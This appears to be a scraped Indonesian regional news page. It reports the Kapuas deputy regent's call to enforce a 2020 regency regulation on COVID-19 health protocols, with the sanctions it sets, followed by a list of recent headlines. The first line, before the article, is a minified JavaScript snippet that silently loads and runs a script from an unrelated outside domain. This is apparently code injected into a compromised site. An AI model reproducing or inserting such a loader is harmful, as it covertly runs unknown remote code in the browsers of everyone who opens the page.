(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Penegakan Perbup Protokol Kesehatan, Wabup Kapuas: Masyarakat Harus Terus Didisiplinkan


KANALKALIMANTAN. COM, KUALA KAPUAS – Wakil Bupati Kapuas H Nafiah Ibnor meminta Perbup penerapan disiplin dan penegakan hukum protokol kesehatan sebagai upaya pencegahan Covid-19 terus dilakukan.

Wakil Bupati Kapuas mengatakan, wabah Covid-19 belum menunjukkan tanda-tanda menurun, bahkan menunjukkan progres semakin meningkat dan mengkhawatirkan yang menyebabkan Pemkab Kapuas harus terus mendisiplinkan warga melalui sebuah aturan.

“Penegakan hukum protokol kesehatan (prokes) sangat penting dalam memutus rantai penyebaran karena berdampak pada aspek kesehatan, ekonomi, sosial bahkan aspek politik. Pertumbuhan ekonomi daerah memburuk, juga berdampak sosial. Maka dari itu harus dengan penerapan protokol kesehatan,” jelasnya.

Untuk itu, masyarakat haruslah disiplin menjalankan protokol kesehatan dengan senantiasa memakai masker, mencuci tangan serta menjaga jarak aman dalam upaya memutus rantai penyebaran Covid-19 di Kabupaten Kapuas.

Sementara itu, Kepala BPBD Kapuas, Panahatan Sinaga mengatakan, sanksi hukum yang tertuang dalam Perbup Kapuas nomor 46 Tahun 2020 sudah sangat kuat dan mengikat untuk diterapkan.

Dalam rangka menindak lanjuti instruksi Presiden Republik Indonesia Nomor 6 Tahun 2020 tentang peningkatan disiplin dan penegakan hukum protokol kesehatan dalam pencegahan dan pengendalian covid-19.
“Pada pasal 7 Bab 5 tertuang sangsi teguran baik lisan maupun tulisan, sanksi kerja sosial sampai sangsi denda sebesar Rp 150 ribu bagi pelanggar perorangan dan Rp 5 juta ditambah pencabutan izin usaha bagi pengusaha yang melanggar,” kata Panahatan Sinaga.

Perangkat hukum dari Perbup tentang penegakan hukum prokes Covid-19 adalah Satpol PP, TNI maupun Polri memback up kegiatan Pelaksanaan Perbup Kapuas No 46 tahun 2020.(kanalkalimantan.com/ags)

 

Reporter: Ags
Editor : Bie


Desy Arfianty

Recent Posts

Wali Kota Aditya Bacakan SK Pelanggaran Kode Etik ASN Pemko Banjarbaru, Ini Tiga Nama Pelanggar

KANALKALIMANTAN.COM, BANJARBARU - Surat Keputusan (SK) terkait pelanggaran kode etik dijatuhkan kepada tiga orang Pegawai… Read More

2 jam ago

Dukung Pembangunan Keberlanjutan di Kalimantan, PLN Hadirkan 15 Program TJSL di Sepanjang 2024

KANALKALIMANTAN.COM, BANJARBARU - Di sepanjang tahun 2024, PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

3 jam ago

Ada Pekerjaan PAM Bandarmasih, Besok Distribusi Air Disetop

KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More

8 jam ago

Layaknya Pilkada, Pemilihan Ketua RT dan RW Serentak se Banjarbaru Digelar

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More

9 jam ago

BPIH 2025 Resmi Turun Rp 4 Juta, Ini Komponen Utama Biaya Haji

KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More

11 jam ago

Tim Banjarbaru Hanyar Siap Hadapi Sidang Pertama Gugatan di MK

KANALKALIMANTAN.COM, JAKARTA – Tim Banjarbaru Hanyar (Haram Manyarah) untuk gugatan Pilkada Kota Banjarbaru akan menghadapi… Read More

11 jam ago

This website uses cookies.